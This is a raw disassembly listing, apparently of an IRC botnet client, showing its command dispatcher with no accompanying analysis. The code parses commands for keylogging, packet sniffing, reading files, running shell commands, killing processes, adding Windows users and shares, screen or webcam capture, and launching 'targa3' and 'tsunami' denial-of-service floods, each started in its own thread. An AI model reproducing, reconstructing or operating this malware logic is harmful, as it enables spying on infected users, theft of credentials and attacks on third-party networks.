lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_2 ; "NOTICE %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
call sub_41EB70
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_3 ; "NOTICE %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_405695: ; CODE XREF: sub_401C87+3933j
; sub_401C87+3940j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4057A9
cmp [ebp+esi+var_88], ebx
jz loc_4057A9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_6 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_4414B8
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 20h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_4414CC
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 10h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_4414E4
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 10h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_4414FC
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 10h
loc_4057A9: ; CODE XREF: sub_401C87+3A1Fj
; sub_401C87+3A2Cj
push [ebp+arg_10]
push offset dword_441514
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4058CC
cmp [ebp+esi+var_88], ebx
jz loc_4058CC
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_441518
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_441520
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 20h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_441534
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_441544
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_441554
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_4058CC: ; CODE XREF: sub_401C87+3B33j
; sub_401C87+3B40j
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405912
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405912
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_405912: ; CODE XREF: sub_401C87+3C56j
; sub_401C87+3C61j
push [ebp+arg_10]
push offset aOff_0 ; "off"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406505
mov edi, offset dword_4EC05C
loc_40592E: ; CODE XREF: sub_401C87+3CC6j
cmp dword ptr [edi-4], 1
jnz short loc_405941
mov eax, [edi]
cmp eax, ebx
jbe short loc_405941
push eax
call ds:dword_4E3060 ; closesocket
loc_405941: ; CODE XREF: sub_401C87+3CABj
; sub_401C87+3CB1j
add edi, 210h
cmp edi, offset byte_4F277C
jl short loc_40592E
cmp [ebp+var_8], ebx
jnz loc_406505
push ebx
push [ebp+var_4]
push offset unk_44158C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
jmp loc_406505
; ---------------------------------------------------------------------------
loc_405977: ; CODE XREF: sub_401C87+319Fj
mov edi, [ebp+arg_8]
push edi
push offset aNick_1 ; "nick"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409977
push edi
push offset aN ; "n"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409977
push edi
push offset aJoin_0 ; "join"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409953
push edi
push offset aJ ; "j"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409953
push edi
push offset aPart_2 ; "part"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409936
push edi
push offset aPt ; "pt"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409936
push edi
push offset aRaw ; "raw"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4098FD
push edi
push offset aR_0 ; "r"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4098FD
push edi
push offset aKillthread ; "killthread"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40983D
push edi
push offset aK ; "k"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40983D
push edi
push offset aC_quit ; "c_quit"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40978F
push edi
push offset aC_q ; "c_q"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40978F
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409734
push edi
push offset aC_rn ; "c_rn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409734
push edi
push offset aPrefix ; "prefix"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40971B
push edi
push offset aPr ; "pr"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40971B
push edi
push offset aOpen ; "open"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4096ED
push edi
push offset aO ; "o"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4096ED
push edi
push offset aServer_0 ; "server"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4096C4
push edi
push offset aSe ; "se"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4096C4
push edi
push offset aDns ; "dns"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409656
push edi
push offset aDn ; "dn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409656
push edi
push offset aKillproc ; "killproc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409626
push edi
push offset aKp ; "kp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409626
push edi
push offset aKill ; "kill"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4095C7
push edi
push offset aKi ; "ki"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4095C7
push edi
push offset aDelete ; "delete"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40958C
push edi
push offset aDel ; "del"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40958C
push edi
push offset aGet ; "get"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4094AA
push edi
push offset aGt ; "gt"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4094AA
push edi
push offset aList ; "list"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40948B
push edi
push offset aLi ; "li"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40948B
push edi
push offset aVisit ; "visit"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4093AA
push edi
push offset aV ; "v"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4093AA
push edi
push offset aMirccmd ; "mirccmd"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409334
push edi
push offset aMirc ; "mirc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409334
push edi
push offset aCmd ; "cmd"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4092DE
push edi
push offset aCm ; "cm"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4092DE
push edi
push offset aReadfile ; "readfile"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409253
push edi
push offset aRf ; "rf"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409253
push edi
push offset aPsniff ; "psniff"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405E10
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405DD6
push 20h
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_405D04
push offset dword_4416A8
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_405D04: ; CODE XREF: sub_401C87+4071j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405D46
mov esi, offset a2_1 ; "#2"
push offset byte_4E2E7B
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405D46
mov esi, [ebp+var_88]
loc_405D46: ; CODE XREF: sub_401C87+40A1j
; sub_401C87+40B7j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41EC30
lea eax, [ebp+var_2C0]
push offset dword_4416C8
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 20h
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset sub_41289A
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_405DC9
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_4416F8
jmp loc_406190
; ---------------------------------------------------------------------------
loc_405DC1: ; CODE XREF: sub_401C87+4148j
push 32h
call ds:dword_4F534C ; Sleep
loc_405DC9: ; CODE XREF: sub_401C87+4127j
cmp [ebp+var_E34], ebx
jz short loc_405DC1
jmp loc_407148
; ---------------------------------------------------------------------------
loc_405DD6: ; CODE XREF: sub_401C87+4061j
push [ebp+arg_10]
push offset aOff_2 ; "off"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_407148
push ebx
push 20h
call sub_40B886
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E06
push eax
push offset dword_441738
jmp loc_406190
; ---------------------------------------------------------------------------
loc_405E06: ; CODE XREF: sub_401C87+4172j
push offset dword_441774
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_405E10: ; CODE XREF: sub_401C87+404Aj
push edi
push offset aSniffer ; "sniffer"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405F5E
push [ebp+arg_10]
push offset aOn_0 ; "on"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405F24
push 21h
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_405E52
push offset unk_4417AC
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_405E52: ; CODE XREF: sub_401C87+41BFj
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405E94
mov esi, offset a2_1 ; "#2"
push offset byte_4E2E7C
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405E94
mov esi, [ebp+var_88]
loc_405E94: ; CODE XREF: sub_401C87+41EFj
; sub_401C87+4205j
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41EC30
lea eax, [ebp+var_2C0]
push offset unk_4417CC
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 21h
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412F1F
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_405F17
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4417FC
jmp loc_406190
; ---------------------------------------------------------------------------
loc_405F0F: ; CODE XREF: sub_401C87+4296j
push 32h
call ds:dword_4F534C ; Sleep
loc_405F17: ; CODE XREF: sub_401C87+4275j
cmp [ebp+var_F5C], ebx
jz short loc_405F0F
jmp loc_407148
; ---------------------------------------------------------------------------
loc_405F24: ; CODE XREF: sub_401C87+41AFj
push [ebp+arg_10]
push offset aOff_3 ; "off"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_407148
push ebx
push 21h
call sub_40B886
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F54
push eax
push offset unk_441840
jmp loc_406190
; ---------------------------------------------------------------------------
loc_405F54: ; CODE XREF: sub_401C87+42C0j
push offset unk_441880
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_405F5E: ; CODE XREF: sub_401C87+4198j
push edi
push offset aIdent ; "ident"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406033
push [ebp+arg_10]
push offset aOn_1 ; "on"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF9
push 2
call sub_40B8D3
test eax, eax
pop ecx
lea eax, [ebp+var_2C0]
jle short loc_405FA2
push offset dword_4418BC
jmp loc_407140
; ---------------------------------------------------------------------------
loc_405FA2: ; CODE XREF: sub_401C87+430Fj
push offset dword_4418DC
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 2
push eax
call sub_40B691
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410B14
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_455F14[esi], eax
jnz loc_407148
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_441908
jmp loc_406190
; ---------------------------------------------------------------------------
loc_405FF9: ; CODE XREF: sub_401C87+42FDj
push [ebp+arg_10]
push offset aOff_4 ; "off"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_407148
push ebx
push 2
call sub_40B886
pop ecx
cmp eax, ebx
pop ecx
jle short loc_406029
push eax
push offset dword_441940
jmp loc_406190
; ---------------------------------------------------------------------------
loc_406029: ; CODE XREF: sub_401C87+4395j
push offset dword_441978
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401C87+42E6j
push edi
push offset aKeylog ; "keylog"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4061B9
mov edi, [ebp+arg_10]
push edi
push offset aOn_2 ; "on"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4060A5
push edi
push offset aFile ; "file"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4060A5
push edi
push offset aOff_1 ; "off"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_407148
push ebx
push 23h
call sub_40B886
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40609B
push eax
push offset dword_4419B0
jmp loc_406190
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401C87+4407j
push offset dword_4419EC
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_4060A5: ; CODE XREF: sub_401C87+43D3j
; sub_401C87+43E4j
push 23h
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_4060BB
push offset dword_441A18
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_4060BB: ; CODE XREF: sub_401C87+4428j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push offset aFile_0 ; "file"
mov [ebp+var_BD4], eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4060EA
mov [ebp+var_BD0], 1
jmp short loc_4060F3
; ---------------------------------------------------------------------------
loc_4060EA: ; CODE XREF: sub_401C87+4455j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_4060F3: ; CODE XREF: sub_401C87+4461j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_40611A
mov esi, offset a2_0 ; "#2"
push offset byte_4E2E7D
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40611A
mov esi, [ebp+var_88]
loc_40611A: ; CODE XREF: sub_401C87+4475j
; sub_401C87+448Bj
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41EC30
lea eax, [ebp+var_2C0]
push offset dword_441A40
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 23h
push eax
call sub_40B691
add esp, 20h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset sub_4125C5
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4061AC
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_441A64
loc_406190: ; CODE XREF: sub_401C87+20E1j
; sub_401C87+2EC9j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
loc_40619C: ; CODE XREF: sub_401C87+2EBEj
; sub_401C87+560Cj
add esp, 0Ch
jmp loc_407148
; ---------------------------------------------------------------------------
loc_4061A4: ; CODE XREF: sub_401C87+452Bj
push 32h
call ds:dword_4F534C ; Sleep
loc_4061AC: ; CODE XREF: sub_401C87+44FBj
cmp [ebp+var_BCC], ebx
jz short loc_4061A4
jmp loc_407148
; ---------------------------------------------------------------------------
loc_4061B9: ; CODE XREF: sub_401C87+43BBj
push edi
push offset aNet ; "net"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4064B1
cmp ds:dword_4E3094, ebx
jz short loc_4061E8
cmp ds:dword_4E30BC, ebx
jz short loc_4061E8
push offset unk_441AA4
jmp loc_40649E
; ---------------------------------------------------------------------------
loc_4061E8: ; CODE XREF: sub_401C87+454Dj
; sub_401C87+4555j
cmp [ebp+var_C], ebx
jz loc_406F1E
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_40620D
push edi
push [ebp+var_C]
call sub_41EBB0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_40620D: ; CODE XREF: sub_401C87+4576j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40627A
cmp edi, ebx
jz short loc_406248
push [ebp+arg_0]
push 3
call sub_419350
push eax
push offset aS_1 ; "%s"
loc_406234: ; CODE XREF: sub_401C87+4616j
; sub_401C87+463Bj ...
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 14h
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_406248: ; CODE XREF: sub_401C87+459Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4195F7
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_406270
push offset unk_441AE8
jmp loc_4064A4
; ---------------------------------------------------------------------------
loc_406270: ; CODE XREF: sub_401C87+45DDj
push offset unk_441B0C
jmp loc_4064A4
; ---------------------------------------------------------------------------
loc_40627A: ; CODE XREF: sub_401C87+4597j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40629F
push [ebp+arg_0]
push 4
call sub_419350
push eax
push offset aS_2 ; "%s"
jmp short loc_406234
; ---------------------------------------------------------------------------
loc_40629F: ; CODE XREF: sub_401C87+4604j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4062C7
push [ebp+arg_0]
push 5
call sub_419350
push eax
push offset aS_3 ; "%s"
jmp loc_406234
; ---------------------------------------------------------------------------
loc_4062C7: ; CODE XREF: sub_401C87+4629j
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4062EF
push [ebp+arg_0]
push 6
call sub_419350
push eax
push offset aS_4 ; "%s"
jmp loc_406234
; ---------------------------------------------------------------------------
loc_4062EF: ; CODE XREF: sub_401C87+4651j
push [ebp+arg_10]
push offset aDelete_0 ; "delete"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406317
push [ebp+arg_0]
push 1
call sub_419350
push eax
push offset aS_5 ; "%s"
jmp loc_406234
; ---------------------------------------------------------------------------
loc_406317: ; CODE XREF: sub_401C87+4679j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4063A2
cmp edi, ebx
jz short loc_40636F
cmp [ebp+var_8FC], bl
jz short loc_406347
push ebx
push edi
push 1
call sub_419737
push eax
push offset aS_6 ; "%s"
jmp short loc_40635B
; ---------------------------------------------------------------------------
loc_406347: ; CODE XREF: sub_401C87+46ADj
push [ebp+esi+var_84]
push edi
push ebx
call sub_419737
push eax
push offset aS_7 ; "%s"
loc_40635B: ; CODE XREF: sub_401C87+46BEj
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 18h
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_40636F: ; CODE XREF: sub_401C87+46A5j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41992C
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_406398
push offset unk_441B70
jmp loc_4064A4
; ---------------------------------------------------------------------------
loc_406398: ; CODE XREF: sub_401C87+4705j
push offset unk_441B94
jmp loc_4064A4
; ---------------------------------------------------------------------------
loc_4063A2: ; CODE XREF: sub_401C87+46A1j
push [ebp+arg_10]
push offset aUser_0 ; "user"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40644D
cmp edi, ebx
jz short loc_406420
push [ebp+var_4]
cmp [ebp+var_8FC], bl
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4063E2
push ebx
push edi
push 1
call sub_419A4D
push eax
push offset aS_8 ; "%s"
jmp short loc_40640C
; ---------------------------------------------------------------------------
loc_4063E2: ; CODE XREF: sub_401C87+4748j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_4063FD
push esi
push edi
push ebx
call sub_419A4D
push eax
push offset aS_9 ; "%s"
jmp short loc_40640C
; ---------------------------------------------------------------------------
loc_4063FD: ; CODE XREF: sub_401C87+4764j
push ebx
push edi
push 2
call sub_419A4D
push eax
push offset aS_10 ; "%s"
loc_40640C: ; CODE XREF: sub_401C87+4759j
; sub_401C87+4774j
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 24h
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_406420: ; CODE XREF: sub_401C87+4734j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_419F61
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_406446
push offset unk_441BC8
jmp short loc_4064A4
; ---------------------------------------------------------------------------
loc_406446: ; CODE XREF: sub_401C87+47B6j
push offset unk_441BE8
jmp short loc_4064A4
; ---------------------------------------------------------------------------
loc_40644D: ; CODE XREF: sub_401C87+472Cj
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406499
cmp edi, ebx
jz short loc_406492
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A20B
push eax
lea eax, [ebp+var_2C0]
push offset aS_11 ; "%s"
push eax
call sub_41EA60
add esp, 1Ch
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_406492: ; CODE XREF: sub_401C87+47DBj
push offset unk_441C14
jmp short loc_40649E
; ---------------------------------------------------------------------------
loc_406499: ; CODE XREF: sub_401C87+47D7j
push offset unk_441C38
loc_40649E: ; CODE XREF: sub_401C87+2E69j
; sub_401C87+455Cj ...
lea eax, [ebp+var_2C0]
loc_4064A4: ; CODE XREF: sub_401C87+45E4j
; sub_401C87+45EEj ...
push eax
call sub_41EA60
pop ecx
pop ecx
jmp loc_406F1E
; ---------------------------------------------------------------------------
loc_4064B1: ; CODE XREF: sub_401C87+4541j
push edi
push offset aCapture ; "capture"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40900F
push edi
push offset aCap ; "cap"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40900F
push edi
push offset aGethost ; "gethost"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F2B
push edi
push offset aGh ; "gh"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F2B
loc_406505: ; CODE XREF: sub_401C87+3C9Cj
; sub_401C87+3CCBj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_4076C4
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F11
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408F11
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408ED0
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408ED0
push [ebp+arg_8]
push offset aPrivmsg_1 ; "privmsg"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408E76
push [ebp+arg_8]
push offset aPm ; "pm"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408E76
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408E04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408E04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408DA0
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408DA0
push [ebp+arg_8]
push offset aMode_0 ; "mode"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408D62
push [ebp+arg_8]
push offset aM ; "m"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408D62
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408CF6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408CF6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408C73
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408C73
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408C06
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408C06
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408BB8
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408BB8
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408B54
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408B54
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408A5C
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408A5C
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40898B
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
